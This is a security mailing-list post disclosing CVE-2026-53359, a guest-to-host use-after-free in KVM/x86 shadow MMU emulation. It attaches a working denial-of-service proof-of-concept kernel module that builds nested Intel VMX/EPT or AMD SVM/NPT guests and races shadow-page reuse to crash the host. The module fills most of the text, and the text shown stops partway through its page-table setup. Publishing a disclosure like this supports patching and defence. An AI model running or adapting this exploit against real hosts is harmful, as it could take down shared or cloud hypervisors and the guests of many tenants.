oss-sec mailing list archives

Januscape: Guest-to-Host Escape in KVM/x86 (CVE-2026-53359)


From: Hyunwoo Kim <imv4bel () gmail com>
Date: Tue, 7 Jul 2026 01:00:23 +0900

Hi,

The embargo agreed with the maintainers of
linux-distros () vs openwall org has expired, so I am posting this report.

This is a report on "Januscape (CVE-2026-53359)", a KVM escape
vulnerability that lets a guest escape to the host on KVM/x86,
that is, on both Intel and AMD hosts. Januscape is a use-after-free
vulnerability in the shadow MMU emulation of KVM/x86. It can trigger
the bug with guest-side actions alone to corrupt the host kernel's
shadow page, and it can threaten the guest-host isolation of KVM/x86
hosts that accept untrusted guests and expose nested virtualization,
particularly multi-tenant x86 public clouds (GCP, AWS, etc.).

Also, on distributions such as RHEL, /dev/kvm is world-writable
(0666), so an unprivileged user could also use this vulnerability as
a reliable LPE to gain root, though that is a minor impact compared
to the host escape.

In fact, Januscape was successfully used as a 0-day exploit in
Google kvmCTF.

CVE-2026-53359 was reported to security () kernel org and has been
patched in mainline, and it had been latent for about 16 years:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb

Additionally, I am attaching a DoS PoC. For detailed information
about the vulnerability and follow-up updates, please see: 
https://januscape.io


Best regards,
Hyunwoo Kim

---

/*
 * Guest-to-Host DoS in KVM/x86 (CVE-2026-53359)
 *
 * KVM x86 MMU kvm_mmu_get_child_sp() role-mismatch shadow-page reuse -> pte_list_remove() host DoS.
 *
 * Target: Linux x86_64, KVM shadow MMU before the get_child_sp() role.word reuse check.
 * Dual-arch: insmod poc.ko = Intel VMX/EPT (default), amd=1 = AMD SVM/NPT; rmmod kvm_intel/kvm_amd first.
 *
 * Copyright (c) 2026 Hyunwoo Kim (@v4bel)
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/kthread.h>
#include <linux/cpu.h>
#include <linux/delay.h>
#include <linux/smp.h>
#include <linux/sched.h>
#include <linux/jiffies.h>
#include <asm/processor.h>
#include <asm/special_insns.h>
#include <asm/io.h>
#include <asm/desc.h>
#include <asm/segment.h>
#include <asm/svm.h>
#include <asm/msr-index.h>
#include <linux/version.h>

/* v7.1 (1aea80dd42cf) renamed vmcb.nested_ctl -> misc_ctl and dropped SVM_NESTED_CTL_NP_ENABLE. */
#ifndef SVM_NESTED_CTL_NP_ENABLE
#define SVM_NESTED_CTL_NP_ENABLE (1ULL << 0)
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(7, 1, 0)
#define VMCB_NP_CTL(c) ((c)->misc_ctl)
#else
#define VMCB_NP_CTL(c) ((c)->nested_ctl)
#endif

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("KVM guest->host DoS (dual-arch: Intel VMX/EPT default, amd=1 -> AMD SVM/NPT)");
MODULE_AUTHOR("Hyunwoo Kim (@v4bel)");

static int amd = 0;
module_param(amd, int, 0444);
static int nvcpu = 8;
module_param(nvcpu, int, 0444);
static int dwell = 256;
module_param(dwell, int, 0444);
static int run_ms = 600000;
module_param(run_ms, int, 0444);
static int diag = 1;
module_param(diag, int, 0444);
static int nflood = 0;
module_param(nflood, int, 0444);

#define EPT_RWX 0x7ULL
#define EPT_MT_WB (6ULL << 3)
#define EPT_LEAF (EPT_RWX | EPT_MT_WB)
#define EPT_TBL (EPT_RWX)
#define EPT_PS (1ULL << 7)

#define PF_P 1ULL
#define PF_RW 2ULL
#define PF_US 4ULL
#define PF_PS 0x80ULL
#define EFER_LME_ 0x100ULL
#define EFER_LMA_ 0x400ULL
#define EFER_SVME_ 0x1000ULL

#define GDT_G 0xC000UL
#define TSS_G 0xD000UL
#define N_PML4 0x10000UL
#define N_PDPT 0x11000UL
#define N_PD 0x12000UL
#define N_CODE 0x13000UL
#define N_CODE_RACE (N_CODE + 0x80)
#define N_STACK 0x15000UL
#define HV 0x800000UL
#define GVA_PRIME (HV + (0x100UL << 12))
#define PDE_IDX 4UL
#define PRIME_IDX 0x100UL

#define MAXPG 8192
static struct page *pages[MAXPG];
static u8 pord[MAXPG];
static int npg;
static void track(struct page *p, int order)
{
        if (npg < MAXPG) {
                pages[npg] = p;
                pord[npg] = (u8)order;
                npg++;
        }
}
static void *apg(u64 *pa)
{
        struct page *p = alloc_page(GFP_KERNEL | __GFP_ZERO);
        if (!p)
                return NULL;
        track(p, 0);
        if (pa)
                *pa = page_to_phys(p);
        return page_address(p);
}
static void *apg_order(int order, u64 *pa)
{
        struct page *p = alloc_pages(GFP_KERNEL | __GFP_ZERO, order);
        if (!p)
                return NULL;
        track(p, order);
        if (pa)
                *pa = page_to_phys(p);
        return page_address(p);
}
static void free_pgs(void)
{
        int i;
        for (i = 0; i < npg; i++)
                __free_pages(pages[i], pord[i]);
        npg = 0;
}

static void *low_va;
static u64 low_pa;
static u64 *nest_pml4, *nest_pdpt, *nest_pd, *nest_pt0, *ptg;
static u64 nest_pd_pa, nest_pt0_pa, ptg_pa, the_root;
static void *greg_va;
static u64 greg_pa;
static void *q_va;
static u64 q_pa;

#define NPRESS 200
static u64 press_root[NPRESS];
static unsigned long fcnt[NR_CPUS];
#define PHASE0_EVERY 8

static inline u64 rdmsr_(u32 i)
{
        u32 lo, hi;
        asm volatile("rdmsr" : "=a"(lo), "=d"(hi) : "c"(i));
        return ((u64)hi << 32) | lo;
}
static inline void wrmsr_(u32 i, u64 v)
{
        asm volatile("wrmsr" ::"c"(i), "a"((u32)v), "d"((u32)(v >> 32)));
}
static inline u64 rd_cr4(void)
{
        u64 v;
        asm volatile("mov %%cr4,%0" : "=r"(v));
        return v;
}
static inline void wr_cr4(u64 v)
{
        asm volatile("mov %0,%%cr4" ::"r"(v) : "memory");
}
static inline u64 rd_cr3(void)
{
        u64 v;
        asm volatile("mov %%cr3,%0" : "=r"(v));
        return v;
}

static inline int vmxon_(u64 pa)
{
        u8 e;
        asm volatile("vmxon %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory");
        return e;
}
static inline void vmxoff_(void)
{
        asm volatile("vmxoff" ::: "cc");
}
static inline int vmclear_(u64 pa)
{
        u8 e;
        asm volatile("vmclear %1; setna %0"
                     : "=r"(e)
                     : "m"(pa)
                     : "cc", "memory");
        return e;
}
static inline int vmptrld_(u64 pa)
{
        u8 e;
        asm volatile("vmptrld %1; setna %0"
                     : "=r"(e)
                     : "m"(pa)
                     : "cc", "memory");
        return e;
}
static inline int vmwrite_(u64 f, u64 v)
{
        u8 e;
        asm volatile("vmwrite %2,%1; setna %0"
                     : "=r"(e)
                     : "r"(f), "r"(v)
                     : "cc");
        return e;
}
static inline u64 vmread_(u64 f)
{
        u64 v;
        asm volatile("vmread %1,%0" : "=r"(v) : "r"(f) : "cc");
        return v;
}
static u32 adj(u32 msr, u32 want)
{
        u64 m = rdmsr_(msr);
        return (u32)(((want | (u32)m) & (u32)(m >> 32)));
}

enum {
        MSR_BITMAP = 0x2004,
        EPT_POINTER = 0x201a,
        VMCS_LINK_POINTER = 0x2800,
        GUEST_IA32_EFER = 0x2806,
        H_IA32_EFER = 0x2c02,
        PIN_BASED = 0x4000,
        CPU_BASED = 0x4002,
        EXCEPTION_BITMAP = 0x4004,
        PFEC_MASK = 0x4006,
        PFEC_MATCH = 0x4008,
        CR3_TGT_CNT = 0x400a,
        VM_EXIT_CTL = 0x400c,
        VM_EXIT_MSR_STORE = 0x400e,
        VM_EXIT_MSR_LOAD = 0x4010,
        VM_ENTRY_CTL = 0x4012,
        VM_ENTRY_MSR_LOAD = 0x4014,
        VM_ENTRY_INTR = 0x4016,
        TPR_THRESHOLD = 0x401c,
        SEC_EXEC = 0x401e,
        G_ES_SEL = 0x800,
        G_CS_SEL = 0x802,
        G_SS_SEL = 0x804,
        G_DS_SEL = 0x806,
        G_FS_SEL = 0x808,
        G_GS_SEL = 0x80a,
        G_LDTR_SEL = 0x80c,
        G_TR_SEL = 0x80e,
        H_ES_SEL = 0xc00,
        H_CS_SEL = 0xc02,
        H_SS_SEL = 0xc04,
        H_DS_SEL = 0xc06,
        H_FS_SEL = 0xc08,
        H_GS_SEL = 0xc0a,
        H_TR_SEL = 0xc0c,
        G_ES_LIM = 0x4800,
        G_CS_LIM = 0x4802,
        G_SS_LIM = 0x4804,
        G_DS_LIM = 0x4806,
        G_FS_LIM = 0x4808,
        G_GS_LIM = 0x480a,
        G_LDTR_LIM = 0x480c,
        G_TR_LIM = 0x480e,
        G_GDTR_LIM = 0x4810,
        G_IDTR_LIM = 0x4812,
        G_ES_AR = 0x4814,
        G_CS_AR = 0x4816,
        G_SS_AR = 0x4818,
        G_DS_AR = 0x481a,
        G_FS_AR = 0x481c,
        G_GS_AR = 0x481e,
        G_LDTR_AR = 0x4820,
        G_TR_AR = 0x4822,
        G_INTR_INFO = 0x4824,
        G_ACTIVITY = 0x4826,
        G_SYSENTER_CS = 0x482a,
        H_SYSENTER_CS = 0x4c00,
        CR0_MASK = 0x6000,
        CR4_MASK = 0x6002,
        CR0_SHADOW = 0x6004,
        CR4_SHADOW = 0x6006,
        G_CR0 = 0x6800,
        G_CR3 = 0x6802,
        G_CR4 = 0x6804,
        G_ES_BASE = 0x6806,
        G_CS_BASE = 0x6808,
        G_SS_BASE = 0x680a,
        G_DS_BASE = 0x680c,
        G_FS_BASE = 0x680e,
        G_GS_BASE = 0x6810,
        G_LDTR_BASE = 0x6812,
        G_TR_BASE = 0x6814,
        G_GDTR_BASE = 0x6816,
        G_IDTR_BASE = 0x6818,
        G_DR7 = 0x681a,
        G_RSP = 0x681c,
        G_RIP = 0x681e,
        G_RFLAGS = 0x6820,
        G_PENDDBG = 0x6822,
        G_SYSENTER_ESP = 0x6824,
        G_SYSENTER_EIP = 0x6826,
        H_CR0 = 0x6c00,
        H_CR3 = 0x6c02,
        H_CR4 = 0x6c04,
        H_FS_BASE = 0x6c06,
        H_GS_BASE = 0x6c08,
        H_TR_BASE = 0x6c0a,
        H_GDTR_BASE = 0x6c0c,
        H_IDTR_BASE = 0x6c0e,
        H_SYSENTER_ESP = 0x6c10,
        H_SYSENTER_EIP = 0x6c12,
        H_RSP = 0x6c14,
        H_RIP = 0x6c16
};
#define CPU_USE_MSR_BMP 0x10000000u
#define CPU_SEC_CTLS 0x80000000u
#define SEC_EPT 0x2u
#define EXIT_HOST_ADDR 0x200u
#define EXIT_LOAD_EFER 0x200000u
#define ENTRY_IA32E 0x200u
#define ENTRY_LOAD_EFER 0x8000u

static u64 vmxon_pa[NR_CPUS], vmcs_pa[NR_CPUS], host_stk[NR_CPUS];
static u64 svm_guest_pa[NR_CPUS], svm_host_pa[NR_CPUS], svm_hsave_pa[NR_CPUS];
static struct vmcb *svm_guest[NR_CPUS];
static u64 msr_bmp_pa, iopm_pa, msrpm_pa;
static volatile int writer_ready = 0, stop_all = 0;
static volatile unsigned long race_loops = 0, flood_loops = 0, svm_exits = 0;
static volatile unsigned long svm_ec_vmmcall = 0, svm_ec_npf = 0,
                              svm_ec_hlt = 0, svm_ec_err = 0, svm_ec_other = 0;
static volatile int saw_4141 = 0, saw_err = 0;
static struct task_struct *threads[NR_CPUS];
static int role_of[NR_CPUS];
#define R_WRITER 0
#define R_FLOOD 1
#define R_FAULT 2

struct virt_ops {
        const char *name;
        int (*cpu_on)(int cpu);
        void (*cpu_off)(void);
        u64 (*huge_pte)(u64 pa);
        u64 (*tbl_pte)(u64 pa);
        u64 (*leaf4k)(u64 pa);
        u64 (*mk_root)(u64 pml4_pa);
        int (*vcpu_run)(int cpu);
};
static struct virt_ops *ops;

static u64 next_grip(int cpu)
{
        unsigned long r = fcnt[cpu]++;
        __sync_fetch_and_add(&race_loops, 1);
        return ((r % PHASE0_EVERY) == 0) ? N_CODE : N_CODE_RACE;
}

static void wr_imm64(u8 *p, u64 v)
{
        int i;
        for (i = 0; i < 8; i++)
                p[i] = (u8)(v >> (8 * i));
}

static u8 ncode[] = { 0x48, 0xb8, 0,    0,    0,    0,    0,    0,   0,
                      0,    0x48, 0x8b, 0x00, 0x0f, 0x01, 0xc1, 0xf4 };

static u64 vmx_huge_pte(u64 pa)
{
        return pa | EPT_LEAF | EPT_PS;
}
static u64 vmx_tbl_pte(u64 pa)
{
        return pa | EPT_TBL;
}
static u64 vmx_leaf4k(u64 pa)
{
        return pa | EPT_LEAF;
}
static u64 vmx_mk_root(u64 pml4)
{
        return pml4 | 0x1eULL;
}

asmlinkage long vmexit_dispatch(void)
{
        int cpu = raw_smp_processor_id();
        if (stop_all)
                return 1;
        if (role_of[cpu] == R_FLOOD) {
                unsigned long r = __sync_fetch_and_add(&flood_loops, 1);
                vmwrite_(EPT_POINTER, press_root[r % NPRESS]);
                vmwrite_(G_RIP, N_CODE);
                vmwrite_(G_RSP, N_STACK);
                vmwrite_(G_RFLAGS, 2);
                return 0;
        }
        {
                u64 rip = next_grip(cpu);
                vmwrite_(G_RIP, rip);
                vmwrite_(G_RSP, N_STACK);
                vmwrite_(G_RFLAGS, 2);
        }
        return 0;
}

static noinline void run_guest(void)
{
        asm volatile(
                "       push    %%rbp\n push    %%rbx\n push    %%r12\n push    %%r13\n push    %%r14\n push    %%r15\n"
                "       mov     $0x6c14, %%rdx\n        vmwrite %%rsp, %%rdx\n"
                "       lea     1f(%%rip), %%rax\n      mov     $0x6c16, %%rdx\n        vmwrite %%rax, %%rdx\n"
                "       vmlaunch\n      jmp     3f\n"
                "1:     call    vmexit_dispatch\n       test    %%rax, %%rax\n  jnz     2f\n    vmresume\n"
                "3:\n"
                "2:     pop     %%r15\n pop     %%r14\n pop     %%r13\n pop     %%r12\n pop     %%rbx\n pop     
%%rbp\n" ::
                        : "rax", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10",
                          "r11", "memory", "cc");
}

static void set_host_state(int cpu)
{
        struct desc_ptr gdt, idt;
        u16 tr;
        u64 trbase = 0;
        asm volatile("sgdt %0" : "=m"(gdt));
        asm volatile("sidt %0" : "=m"(idt));
        asm volatile("str %0" : "=m"(tr));
        if (tr) {
                struct desc_struct *d =
                        (struct desc_struct *)(gdt.address + (tr & ~7));
                trbase = get_desc_base(d);
#ifdef CONFIG_X86_64
                trbase |= ((u64)((struct ldttss_desc *)d)->base3) << 32;
#endif
        }
        vmwrite_(H_CR0, read_cr0());
        vmwrite_(H_CR3, rd_cr3());
        vmwrite_(H_CR4, rd_cr4());
        vmwrite_(H_CS_SEL, __KERNEL_CS);
        vmwrite_(H_SS_SEL, __KERNEL_DS);
        vmwrite_(H_DS_SEL, __KERNEL_DS);
        vmwrite_(H_ES_SEL, __KERNEL_DS);
        vmwrite_(H_FS_SEL, 0);
        vmwrite_(H_GS_SEL, 0);
        vmwrite_(H_TR_SEL, tr);
        vmwrite_(H_GDTR_BASE, gdt.address);
        vmwrite_(H_IDTR_BASE, idt.address);
        vmwrite_(H_TR_BASE, trbase);
        vmwrite_(H_FS_BASE, rdmsr_(0xc0000100));
        vmwrite_(H_GS_BASE, rdmsr_(0xc0000101));
        vmwrite_(H_IA32_EFER, rdmsr_(0xc0000080));
        vmwrite_(H_SYSENTER_CS, 0);
        vmwrite_(H_SYSENTER_ESP, 0);
        vmwrite_(H_SYSENTER_EIP, 0);
        vmwrite_(H_RSP, 0);
        vmwrite_(H_RIP, 0);
}

static int vmx_cpu_on(int cpu)
{
        u64 cr4 = rd_cr4(), fc, pa;
        void *v;
        wr_cr4(cr4 | (1ULL << 13));
        fc = rdmsr_(0x3a);
        if (!(fc & 1))
                wrmsr_(0x3a, fc | 0x5);
        v = apg(&pa);
        if (!v)
                return -1;
        *(u32 *)v = (u32)rdmsr_(0x480);
        vmxon_pa[cpu] = pa;
        if (vmxon_(pa)) {
                pr_err("poc: vmxon fail cpu%d\n", cpu);
                return -1;
        }
        return 0;
}
static void vmx_cpu_off(void)
{
        vmxoff_();
}

static int vmx_vcpu_run(int cpu)
{
        u64 pa, ncr0, ncr4, gefer = 0x500;
        void *v;
        u32 pin, proc, sec, exitc, entryc;
        v = apg(&pa);
        if (!v)
                return -1;
        *(u32 *)v = (u32)rdmsr_(0x480);
        vmcs_pa[cpu] = pa;
        if (vmclear_(pa) || vmptrld_(pa)) {
                pr_err("poc: vmclear/ptrld fail cpu%d\n", cpu);
                return -1;
        }
        ncr0 = (0x80050033ULL | rdmsr_(0x486)) & rdmsr_(0x487);
        ncr4 = (0x2000ULL | 0x20ULL | rdmsr_(0x488)) & rdmsr_(0x489);
        pin = adj(0x48d, 0);
        proc = adj(0x48e, CPU_USE_MSR_BMP | CPU_SEC_CTLS);
        sec = adj(0x48b, SEC_EPT);
        exitc = adj(0x483, EXIT_HOST_ADDR | EXIT_LOAD_EFER);
        entryc = adj(0x484, ENTRY_IA32E | ENTRY_LOAD_EFER);
        if (!(proc & CPU_SEC_CTLS) || !(sec & SEC_EPT)) {
                pr_err("poc: NO EPT ctl cpu%d\n", cpu);
                return -1;
        }
        vmwrite_(PIN_BASED, pin);
        vmwrite_(CPU_BASED, proc);
        vmwrite_(SEC_EXEC, sec);
        vmwrite_(EPT_POINTER, the_root);
        vmwrite_(EXCEPTION_BITMAP, 0);
        vmwrite_(PFEC_MASK, 0);
        vmwrite_(PFEC_MATCH, 0xffffffff);
        vmwrite_(CR3_TGT_CNT, 0);
        vmwrite_(VM_EXIT_CTL, exitc);
        vmwrite_(VM_EXIT_MSR_STORE, 0);
        vmwrite_(VM_EXIT_MSR_LOAD, 0);
        vmwrite_(VM_ENTRY_CTL, entryc);
        vmwrite_(VM_ENTRY_MSR_LOAD, 0);
        vmwrite_(VM_ENTRY_INTR, 0);
        vmwrite_(TPR_THRESHOLD, 0);
        vmwrite_(CR0_MASK, 0);
        vmwrite_(CR4_MASK, 0);
        vmwrite_(CR0_SHADOW, ncr0);
        vmwrite_(CR4_SHADOW, ncr4);
        vmwrite_(MSR_BITMAP, msr_bmp_pa);
        set_host_state(cpu);
        vmwrite_(G_ES_SEL, 0x10);
        vmwrite_(G_CS_SEL, 0x8);
        vmwrite_(G_SS_SEL, 0x10);
        vmwrite_(G_DS_SEL, 0x10);
        vmwrite_(G_FS_SEL, 0x10);
        vmwrite_(G_GS_SEL, 0x10);
        vmwrite_(G_LDTR_SEL, 0);
        vmwrite_(G_TR_SEL, 0x18);
        vmwrite_(VMCS_LINK_POINTER, ~0ULL);
        vmwrite_(GUEST_IA32_EFER, gefer);
        vmwrite_(G_ES_LIM, 0xffffffff);
        vmwrite_(G_CS_LIM, 0xffffffff);
        vmwrite_(G_SS_LIM, 0xffffffff);
        vmwrite_(G_DS_LIM, 0xffffffff);
        vmwrite_(G_FS_LIM, 0xffffffff);
        vmwrite_(G_GS_LIM, 0xffffffff);
        vmwrite_(G_LDTR_LIM, 0xffffffff);
        vmwrite_(G_TR_LIM, 0x67);
        vmwrite_(G_GDTR_LIM, 0xffff);
        vmwrite_(G_IDTR_LIM, 0xffff);
        vmwrite_(G_ES_AR, 0xc093);
        vmwrite_(G_CS_AR, 0xa09b);
        vmwrite_(G_SS_AR, 0xc093);
        vmwrite_(G_DS_AR, 0xc093);
        vmwrite_(G_FS_AR, 0xc093);
        vmwrite_(G_GS_AR, 0xc093);
        vmwrite_(G_LDTR_AR, 0x10000);
        vmwrite_(G_TR_AR, 0x8b);
        vmwrite_(G_INTR_INFO, 0);
        vmwrite_(G_ACTIVITY, 0);
        vmwrite_(G_SYSENTER_CS, 0);
        vmwrite_(G_CR0, ncr0);
        vmwrite_(G_CR3, N_PML4);
        vmwrite_(G_CR4, ncr4);
        vmwrite_(G_ES_BASE, 0);
        vmwrite_(G_CS_BASE, 0);
        vmwrite_(G_SS_BASE, 0);
        vmwrite_(G_DS_BASE, 0);
        vmwrite_(G_FS_BASE, 0);
        vmwrite_(G_GS_BASE, 0);
        vmwrite_(G_LDTR_BASE, 0);
        vmwrite_(G_TR_BASE, TSS_G);
        vmwrite_(G_GDTR_BASE, GDT_G);
        vmwrite_(G_IDTR_BASE, 0);
        vmwrite_(G_DR7, 0x400);
        vmwrite_(G_RSP, N_STACK);
        vmwrite_(G_RIP, N_CODE);
        vmwrite_(G_RFLAGS, 2);
        vmwrite_(G_PENDDBG, 0);
        vmwrite_(G_SYSENTER_ESP, 0);
        vmwrite_(G_SYSENTER_EIP, 0);
        if (role_of[cpu] == R_FLOOD)
                vmwrite_(EPT_POINTER, press_root[0]);
        while (!writer_ready && !stop_all)
                cpu_relax();
        run_guest();
        if (!stop_all)
                pr_err("poc: run_guest RETURNED early cpu%d vmerr=%llx exit=%llx\n",
                       cpu, vmread_(0x4400), vmread_(0x4402));
        vmclear_(vmcs_pa[cpu]);
        return 0;
}
static struct virt_ops vmx_ops = {
        .name = "VMX/EPT",
        .cpu_on = vmx_cpu_on,
        .cpu_off = vmx_cpu_off,
        .huge_pte = vmx_huge_pte,
        .tbl_pte = vmx_tbl_pte,
        .leaf4k = vmx_leaf4k,
        .mk_root = vmx_mk_root,
        .vcpu_run = vmx_vcpu_run,
};

static u64 svm_huge_pte(u64 pa)
{
        return pa | PF_P | PF_RW | PF_US | PF_PS;
}
static u64 svm_tbl_pte(u64 pa)
{
        return pa | PF_P | PF_RW | PF_US;
}
static u64 svm_leaf4k(u64 pa)
{
        return pa | PF_P | PF_RW | PF_US;
}
static u64 svm_mk_root(u64 pml4)
{
        return pml4;
}

static inline u16 svm_attr(u32 vmx_ar)
{
        return (u16)((vmx_ar & 0xff) | ((vmx_ar >> 4) & 0xf00));
}

static int svm_cpu_on(int cpu)
{
        u64 efer, vh, vmcb_g, vmcb_h;
        void *p;
        efer = rdmsr_(MSR_EFER);
        wrmsr_(MSR_EFER, efer | EFER_SVME_);
        p = apg(&vh);
        if (!p)
                return -1;
        svm_hsave_pa[cpu] = vh;
        wrmsr_(MSR_VM_HSAVE_PA, vh);
        p = apg(&vmcb_h);
        if (!p)
                return -1;
        svm_host_pa[cpu] = vmcb_h;
        svm_guest[cpu] = apg(&vmcb_g);
        if (!svm_guest[cpu])
                return -1;
        svm_guest_pa[cpu] = vmcb_g;
        return 0;
}
static void svm_cpu_off(void)
{
        u64 e = rdmsr_(MSR_EFER);
        wrmsr_(MSR_EFER, e & ~EFER_SVME_);
}

/* one VMRUN of the L3; host segs vmsave/vmload'd around it. gpa/hpa via memory operands so they
 * survive the guest clobbering GPRs; VMRUN auto-saves host RSP/RIP/RAX via VM_HSAVE_PA. */
static noinline void svm_do_vmrun(u64 gpa, u64 hpa)
{
        u64 g = gpa, h = hpa;
        asm volatile("  clgi\n"
                     "  mov     %1, %%rax\n     vmsave\n"
                     "  mov     %0, %%rax\n     vmload\n"
                     "  vmrun\n"
                     "  mov     %0, %%rax\n     vmsave\n"
                     "  mov     %1, %%rax\n     vmload\n"
                     "  stgi\n"
                     : "+m"(g), "+m"(h)
                     :
                     : "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8", "r9",
                       "r10", "r11", "memory", "cc");
}

static void svm_seg(struct vmcb_seg *s, u16 sel, u32 vmx_ar, u32 lim, u64 base)
{
        s->selector = sel;
        s->attrib = svm_attr(vmx_ar);
        s->limit = lim;
        s->base = base;
}

static int svm_vcpu_run(int cpu)
{
        struct vmcb *gv = svm_guest[cpu];
        struct vmcb_control_area *c = &gv->control;
        struct vmcb_save_area *s = &gv->save;
        int first = 1;
        memset(gv, 0, sizeof(*gv));

        c->intercepts[INTERCEPT_VMRUN / 32] |= 1u << (INTERCEPT_VMRUN % 32);
        c->intercepts[INTERCEPT_VMMCALL / 32] |= 1u << (INTERCEPT_VMMCALL % 32);
        c->intercepts[INTERCEPT_HLT / 32] |= 1u << (INTERCEPT_HLT % 32);
        c->asid = 1;
        VMCB_NP_CTL(c) = SVM_NESTED_CTL_NP_ENABLE;
        c->nested_cr3 = the_root;
        c->iopm_base_pa = iopm_pa;
        c->msrpm_base_pa = msrpm_pa;
        c->clean = 0;

        s->efer = EFER_SVME_ | EFER_LME_ | EFER_LMA_;
        s->cr0 = 0x80050033ULL;
        s->cr3 = N_PML4;
        s->cr4 = 0x20ULL;
        s->rflags = 2;
        s->rip = N_CODE;
        s->rsp = N_STACK;
        s->rax = 0;
        s->dr7 = 0x400;
        s->g_pat = 0x0007040600070406ULL;
        svm_seg(&s->cs, 0x08, 0xa09b, 0xffffffff, 0);
        svm_seg(&s->ss, 0x10, 0xc093, 0xffffffff, 0);
        svm_seg(&s->ds, 0x10, 0xc093, 0xffffffff, 0);
        svm_seg(&s->es, 0x10, 0xc093, 0xffffffff, 0);
        svm_seg(&s->fs, 0x10, 0xc093, 0xffffffff, 0);
        svm_seg(&s->gs, 0x10, 0xc093, 0xffffffff, 0);
        svm_seg(&s->tr, 0x18, 0x008b, 0x67, TSS_G);
        svm_seg(&s->ldtr, 0, 0, 0, 0);
        svm_seg(&s->gdtr, 0, 0, 0xffff, GDT_G);
        svm_seg(&s->idtr, 0, 0, 0xffff, 0);

        while (!writer_ready && !stop_all)
                cpu_relax();
        while (!stop_all) {
                u64 rip = next_grip(cpu);
                s->rip = rip;
                s->rsp = N_STACK;
                s->rflags = 2;
                s->rax = 0;
                c->clean = 0;
                svm_do_vmrun(svm_guest_pa[cpu], svm_host_pa[cpu]);
                {
                        u32 ec = c->exit_code;
                        u64 rax = s->rax;
                        __sync_fetch_and_add(&svm_exits, 1);
                        if (ec == 0x81)
                                __sync_fetch_and_add(&svm_ec_vmmcall, 1);
                        else if (ec == 0x400)
                                __sync_fetch_and_add(&svm_ec_npf, 1);
                        else if (ec == 0x78)
                                __sync_fetch_and_add(&svm_ec_hlt, 1);
                        else if (ec == 0xffffffff)
                                __sync_fetch_and_add(&svm_ec_err, 1);
                        else
                                __sync_fetch_and_add(&svm_ec_other, 1);
                        if (first && diag) {
                                pr_info("poc[SVM]: first vmexit cpu%d exit_code=0x%x info1=%llx info2=%llx rip=%llx 
rax=%llx (NPF=0x400 VMMCALL=0x81 HLT=0x78 ERR=0xffffffff)\n",
                                        cpu, ec, c->exit_info_1, c->exit_info_2,
                                        rip, rax);
                                first = 0;
                        }
                        if (diag >= 2) {
                                if (rax == 0x4141414141414141ULL &&
                                    !__sync_lock_test_and_set(&saw_4141, 1))
                                        pr_info("poc[SVM]: cpu%d rip=%llx rax=0x4141..\n",
                                                cpu, rip, rax);
                                if (ec == 0xffffffff &&
                                    !__sync_lock_test_and_set(&saw_err, 1))
                                        pr_err("poc[SVM]: cpu%d exit_code=-1 info1=%llx\n",
                                               cpu, c->exit_info_1);
                                if ((svm_ec_vmmcall % 50000) == 0 && ec == 0x81)
                                        pr_info("poc[SVM] hist cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu 
saw_4141=%d nest_pd[%lu]=%llx\n",
                                                cpu, svm_ec_vmmcall, svm_ec_npf,
                                                svm_ec_hlt, svm_ec_err,
                                                svm_ec_other, saw_4141, PDE_IDX,
                                                nest_pd[PDE_IDX]);
                        }
                }
        }
        if (diag)
                pr_info("poc[SVM] FINAL cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu saw_NPTread4141=%d\n",
                        cpu, svm_ec_vmmcall, svm_ec_npf, svm_ec_hlt, svm_ec_err,
                        svm_ec_other, saw_4141);
        return 0;
}
static struct virt_ops svm_ops = {
        .name = "SVM/NPT",
        .cpu_on = svm_cpu_on,
        .cpu_off = svm_cpu_off,
        .huge_pte = svm_huge_pte,
        .tbl_pte = svm_tbl_pte,
        .leaf4k = svm_leaf4k,
        .mk_root = svm_mk_root,
        .vcpu_run = svm_vcpu_run,
};

static int build_world(void)
{
        int i;
        u64 *npd;
        u8 *lb;
        low_va = apg_order(9, &low_pa);
        if (!low_va)
                return -1;
        lb = low_va;
        greg_va = apg_order(9, &greg_pa);
        if (!greg_va)
                return -1;
        q_va = apg(&q_pa);
        if (!q_va)
                return -1;
        for (i = 0; i < 512; i++)
                ((u64 *)q_va)[i] = 0x4141414141414141ULL;

        {
                u64 a;
                nest_pml4 = apg(&a);
                if (!nest_pml4)
                        return -1;
                the_root = ops->mk_root(a);
                nest_pdpt = apg(&a);
                if (!nest_pdpt)
                        return -1;
                nest_pml4[0] = ops->tbl_pte(a);
                nest_pd = apg(&nest_pd_pa);
                if (!nest_pd)
                        return -1;
                nest_pdpt[0] = ops->tbl_pte(nest_pd_pa);
                nest_pt0 = apg(&nest_pt0_pa);
                if (!nest_pt0)
                        return -1;
                nest_pd[0] = ops->tbl_pte(nest_pt0_pa);
        }

        /* ptg (the nested PT page) IS greg's first page -> table_gfn == S->gfn == G;
         * gfn matches while role mismatches (q stays a separate page). */
        ptg = (u64 *)greg_va;
        ptg_pa = greg_pa;
        for (i = 0; i < 512; i++)
                nest_pt0[i] = ops->leaf4k(low_pa + (u64)i * 0x1000);
        nest_pd[PDE_IDX] = ops->huge_pte(greg_pa);
        for (i = 0; i < 512; i++)
                ptg[i] = 0;
        ptg[0] = ops->leaf4k(greg_pa);
        ptg[PRIME_IDX] = ops->leaf4k(q_pa);

        npd = (u64 *)(lb + N_PD);
        *(u64 *)(lb + N_PML4) = N_PDPT | PF_P | PF_RW | PF_US;
        *(u64 *)(lb + N_PDPT) = N_PD | PF_P | PF_RW | PF_US;
        npd[0] = 0x0 | PF_P | PF_RW | PF_US | PF_PS;
        npd[PDE_IDX] = HV | PF_P | PF_RW | PF_US | PF_PS;
        memcpy(lb + N_CODE, ncode, sizeof(ncode));
        wr_imm64(lb + N_CODE + 2, HV);
        memcpy(lb + N_CODE_RACE, ncode, sizeof(ncode));
        wr_imm64(lb + N_CODE_RACE + 2, GVA_PRIME);
        *(u64 *)(lb + GDT_G + 0x00) = 0;
        *(u64 *)(lb + GDT_G + 0x08) = 0x00AF9B000000FFFFULL;
        *(u64 *)(lb + GDT_G + 0x10) = 0x00CF93000000FFFFULL;
